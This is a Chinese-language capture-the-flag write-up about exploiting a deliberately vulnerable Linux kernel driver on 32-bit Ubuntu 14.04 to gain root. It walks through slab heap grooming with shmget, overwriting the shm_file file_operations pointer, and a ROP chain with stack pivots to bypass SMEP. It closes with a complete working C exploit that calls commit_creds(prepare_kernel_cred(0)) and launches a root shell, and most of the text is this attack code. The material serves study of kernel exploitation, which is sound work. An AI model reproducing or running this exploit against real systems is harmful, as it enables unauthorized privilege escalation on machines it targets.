0x00 简介
之前只接触过应用层的漏洞利用， 这次第一次接触到内核层次的，小结一下。
0x01 概况
这次接触到的，是吾爱破解挑战赛里的一个题，给了一个有问题的驱动程序，要求在ubuntu 14.04 32位系统环境下提权。驱动实现了write函数，但是write可以写0x5a0000000个字节。然后还实现了一个ioctl，这里有任意地址写的问题（但是这个分析里没用到）。还有一个read函数，这个可以读取堆上的数据。驱动的代码可以在这里下载到：http://www.52pojie.cn/thread-480792-1-1.html
#!cpp
static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
unsigned long p = *ppos;
unsigned int count = size;
int ret = 0;
struct mem_dev *dev = filp->private_data;
if((dev->size >> 24 & 0xff) != 0x5a)
//dev->size == 0x5aXXXXXX
return -EFAULT;
if (p > dev->size)
return -ENOMEM;
if (count > dev->size - p)
count = dev->size - p;
if (copy_from_user((void *)(dev->data + p), buf, count)) {
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}
return ret;
}
static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct mem_init data;
if(!arg)
return -EINVAL;
if(copy_from_user(&data, (void *)arg, sizeof(data))) {
return -EFAULT;
}
if(data.len <= 0 || data.len >= 0x1000000)
return -EINVAL;
if(data.idx < 0)
return -EINVAL;
switch(cmd) {
case 0:
mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);
mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);
printk(KERN_DEBUG "heap:%p\n",mem_devp[data.idx].data);
if(!mem_devp[data.idx].data) {
return -ENOMEM;
}
memset(mem_devp[data.idx].data, 0, data.len);
break;
default:
return -EINVAL;
}
return 0;
}
static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
unsigned long p = *ppos;
unsigned int count = size;
int ret = 0;
struct mem_dev *dev = filp->private_data;
if((dev->size >> 24 & 0xff) != 0x5a)
return -EFAULT;
if (p > dev->size)
return -ENOMEM;
if (count > dev->size - p)
count = dev->size - p;
if (copy_to_user(buf, (void*)(dev->data + p), count)) {
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}
return ret;
}
write里的dev->data是通过调用ioctl后kmalloc出来的，kmalloc的size可以自行指定。于是通过这个write，可以写内核堆，甚至写到内核栈里。我用的方法是覆盖内核某个堆结构，改掉其上的某个指针，最好是某个函数指针，或者函数表指针。具体的是shmid_kernel结构的file指针，里面存有shm_ops，这是shm的函数表，里面有shm_mmap，而这个函数可以在用户态通过shmat调用到。shmid_kernel这个结构体，则会通过在系统调用shmget时，被kmalloc。在我操作的机器上（32位）：
shmid_kernel分配时的大小是64+92 = 156:
#!cpp
struct shmid_kernel //结构体大小为92bytes
{
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
pid_t shm_cprid;
pid_t shm_lprid;
struct user_struct *mlock_user;
struct task_struct *shm_creator;
struct list_head shm_clist;
};
0x02 覆盖前的堆排布
要保证能覆盖到特定的结构，首先是要保证，申请到的内存是相邻的。内核里kmalloc是slab的分配机制。一次至少会分配一个页面，然后把这个页面分为很多个连续的块，这些块的信息，可以通过cat /proc/slabinfo看到：
分配的时候，是向上对齐的。比如，如果kmalloc的size满足区间(128,192]，那么就会给它分配一个192大小的块。如果有空闲的块，则把空闲的块分配出去。只有当所有分配的slab里的块，都被占用了，才会去分配新的slab（里面有很多相邻内存的大小相同的块）。比如说需要一个192的块，而已经分配的192的slab里没有空闲的，就会分配一个页面的内存，里面分成4096/192 = 21个192bytes的块，然后拿出第一块分配出去，再申请，则拿出第二块，以此类推。
//slab的图
所以，如果我们想要得到两个相邻的块。有这么几点要求：
- 申请的两个块的大小是处于同一区间的（这里假设都是申请192的块）
- 申请之前得消耗掉所有空闲的大小为192的块
- 两个块要连续申请。也就是申请第一个块之后要马上申请第二个。
所以，在这里来说，我们想要通过write，来覆盖掉下一个堆块，即我们的目标堆块shmid_kernel （占用一个192的slab块），要这么做：
- 不断调用ioctl(fd,0,&arg),并设置arg.idx = 192,来消耗掉空闲的192大小的slab块。
-
马上调用shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666)来申请一块192的空间。这时，这个块有20/21的概率，我们最后一次ioctl得到的块，是相邻的。
#!cpp arg.idx = 0; arg.len = 192; for(i=0;i<1000;i++) ioctl(fd,0,&arg); shmid = shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666); arg.idx = 1; ioctl(fd,0,&arg);
这之后再用write来进行覆盖，就能达到我们的目的。
0x03 overflow shmid_kernel
为了确保我们的堆排布好了，我给这个有漏洞的驱动，patch了一行代码，使得能够把每次kmalloc的地址打印出来：
而且在exp里，调用shmget之后，再一次调用ioctl来kmalloc一个192的块。那么得到的dmesg：
最后两次 ioctl，中间相隔了2个0xC0的大小，其中一个应该是shmid_kernel。那么还有一个是什么？通过调用驱动的read，读取这段堆上的内存，我发现：还有一个是shmid_kernel结构的shm_file，排布是这样的：
| addr | type |
|---|---|
| 0xc04e43c0 | dev[0]->data |
| 0xc04e4480 | shmid_kernel |
| 0xc04e4540 | shmid_file |
| 0xc04e4600 | dev1->data |
最开始的计划，是覆盖shmid_kernel结构的shmid_file指针（shmid_kernel+0x6c），但是现在发现可以直接覆盖shmid_file的fop（shmid_file+0x14），这是指向其file_operations的指针。我们只要把这个指针覆盖，就能伪造file_operations，于是伪造一个file_operations，在偏移0x40处，指定0x41414141。其余的内容，由于我们可以通过read读取堆内容，所以write的时候，直接复制过去，改别的。 但是如果没有read，我们也可以自己伪造一个shmid_kernel，当然肯定会麻烦一些。因为有一些检查是要绕过的。
#!cpp
read(fd[2],readbuf,oversize); //由于llseek的限制,fd [0,1,2]做一个区分
memcpy(buf,readbuf,oversize);
map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
memcpy(map,41,0x100);
struct file **shm_file;
shm_file = (struct file **)(buf+0x194);
*shm_file = (void *)0x5a000000;
//fack_fop == 0x5a000000;
//fack_fop_mmap == 0x41414141;
write(fd[0],buf,oversize);
ret = shmat(shmid,NULL,0);
那么，调用shmat的时候，最终会调用:
shmid_kernel->shm_file->fop->mmap(…)。这个时候，我们就能得到内核的控制流。
0x04 SMEP
得到控制流后，最开始我是这么想的：
将控制流转移到用户态的代码里来，进行提权，代码可以是这样子：
#!cpp
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
但是，这样只能针对没有开启SMEP(Supervisor Mode Execution Protection Enable)的情况。
什么是SMEP？简单来说，就是禁止内核执行用户控件的代码。它存在于CR4寄存器的第20 bit。
在安卓上，也叫PXN。因为传统的内核提权漏洞利用，得到控制流之后，直接跳转到用户空间执行提权代码，实在是太轻松，所以就加了这么一个缓解机制。
由于系统开了SMEP，这样就只能在内核找ROP来拼凑提权代码了。
0x05 ROP & 栈移植
构造ROP来调用
#!cpp
commit_creds(prepare_kernel_cred(0);
通过cat /proc/kallsyms得到符号表之后，可以定位prepare_kernel_cred和commit_creds的地址：
- C1082B60 T commit_creds
- C1082E20 T prepare_kernel_cred
只有prepare_kernel_cred(0)需要一个参数，传进去。看了下prepare_kernel_cred函数的汇编，这个参数用eax传递。所以需要一条
pop eax
ret
或者是
xor eax,eax
ret
prepare_kernel_cred的返回值，会直接传给commit_creds，并不用在rop链里构造。那么初步的应该是这样子：
| instruction | addr |
|---|---|
| pop eax;ret; | 0xc1431272 |
| perpare_kernel_creds; | 0xc1082e20 |
| commit_cred; | 0xc1082b60 |
问题来了：
rop链，首先要写到栈里面去，问题是如何写。
最后获得控制流之前，eax 是内核堆上的地址，是shmid_kerneld的shm_file，里面的内容我们可以控制。ecx是伪造的fop表地址，我们可以完全控制。不好往栈里头写数据，不妨把栈给移植到能控制的地方来。
于是我第一次找的 xchg ecx,esp这样的指令。但是一执行，系统就崩了。具体原因，本人猜测应该是内核栈esp不能指向用户空间。具体什么原因，也没深究。
所以第二次，我找的xchg eax,esp；ret 0x100这样的指令。因为eax是shmid_file，还在内核空间，而其后面的数据都可以通过write控制，也就相当于能控制栈。还不用改写shmid_file，只用在shmid_file头4个字节写上pop eax;ret;的地址，xchg之后的ret能顺利执行就OK了。
#!cpp
memcpy(buf+0x180,rop,4);
//rop[0] = 0xc1431272 ;
//pop eax
//ret
0x06 内核态返回
最后一个问题，内核态如何返回用户态。
因为我们移植了内核栈，而内核态返回用户态的时候，需要从内核栈里头，弹出cs,eip,eflag,ss,esp等信息。当然，我们可以自己构造虚假的。但是内核栈里头有很多结构体，特别是提取时候要用到的task结构体，就在内核栈开始的地方。我没有试过构造虚假的内核栈，因为感觉太繁琐，而且也不知道可不可行。
于是我采取的是另外一种思路：
把移植过来的栈，又移植回去。
所以，我需要一个寄存器，来保存被移植前的esp。而prepare_kernel_cred() 和 commit_creds()。会对esi,edi,ebx三个寄存器进行保护：
我选择其中的esi来保存原始内核栈esp。那么rop链就变成了这样子：
| instruction | addr | |
|---|---|---|
| xchg eax,esp;ret | 0xc1020eb1 | 覆盖到shm_mmap的指针 |
| xchg eax,esi;ret | 0xc1071395 | 覆盖shm_file的前四个字节 |
| pop eax;ret; | 0xc1431272 | fack_stask |
| fack_stask | ||
| perpare_kernel_creds; | 0xc1082e20 | fack_stask |
| commit_cred; | 0xc1082b60 | fack_stask |
| xchg eax,esi;ret | 0xc1071395 | fack_stask |
| xchg eax,esp;ret | 0xc1020eb1 | fack_stask |
0x07 get root shell
最后，我们再用户态，调用：
#!cpp
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash","/bin/bash",NULL);
整个提权利用，就完成了。
0x08 exp
有很多的内核漏洞文章，讲了很多的内核漏洞利用技术：
修改ptmx->fop，修改addr_limit，修改task结构，修改中断描述符，将SMEP位反位等等，都博大精深。学习的路还很长很长。下面是这次提权的代码：
#!cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#define oversize 0x400
struct mem_init {
unsigned int idx;
unsigned int len;
};
int prepare_kernel_creds = 0xc1082e20;
int commit_creds = 0xc1082b60;
int main(){
int fd[3],ret,i;
int shmid;
int *map;
void *buf,*readbuf;
struct mem_init arg;
fd[0] = open("/dev/memdev0",O_RDWR);
fd[1] = open("/dev/memdev1",O_RDWR);
fd[2] = open("/dev/memdev2",O_RDWR);
for(i=0;i<3;i++)
if(fd[i] < 0){
printf("[-]open driver failed!\n");
return 0;
}
printf("[+]open driver success\n");
//prepare heap
arg.idx = 0;
arg.len = 92+0x40;
for(i=0;i<1000;i++){
ioctl(fd[0],0,&arg);
}
arg.idx = 1;
ioctl(fd[1],0,&arg);
arg.idx = 2;
ioctl(fd[2],0,&arg);
buf = malloc(oversize);
readbuf = malloc(oversize);
shmid = shmget(IPC_PRIVATE, 1024, IPC_CREAT | 0666);
printf("%d\n",shmid);
arg.idx = 3;
ioctl(fd[0],0,&arg);
printf("[+] heap prepare OK!\n");
read(fd[2],readbuf,oversize); //read heap data
memcpy(buf,readbuf,oversize);
read(fd[0],readbuf,192*2); //set llseek point
map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC,
MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
int **shm_file;
shm_file = (int **)(buf+0x194); //fack fop
*shm_file = (void *)0x5a000000;
int rop[11];
rop[0] = 0xc1071395; //xchg eax,esi;ret
rop[1] = 0xc1431272; //pop eax;ret
rop[2] = 0; //eax
rop[3] = prepare_kernel_creds;
rop[4] = commit_creds;
rop[5] = 0xc1071395; //xchg eax,esi;ret
rop[6] = 0xc1020eb1; //xchg eax,esp;ret
rop[7] = 0;
rop[8] = 0;
rop[9] = 0;
rop[10] = 0xc1380373; //xchg eax,esp;ret 0x100
// xchg eax,esp;ret
// xchg eax,esi;ret ;
// pop eax;ret; 0xc1431272
// perpare_kernel_creds
// commit_cred
// xchg eax,esi;ret
// xchg eax,esp;ret
memcpy(map,rop,4*30); //map is fack fop
memcpy(buf+0x180,rop,4); //after xchg eax,esp . ret
memcpy(buf+0x280,rop,4*30);//fack stack
write(fd[0],buf,oversize);
printf("[+] heap write done\n");
printf("[+] read to triggle shellcode\n");
ret = (int)shmat(shmid,NULL,0); //triggle
if(ret!=0)
printf("[+] OK,ready to get root!\n press any key\n");
getchar();
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash","/bin/bash",NULL);
return 0;
}
云悉指纹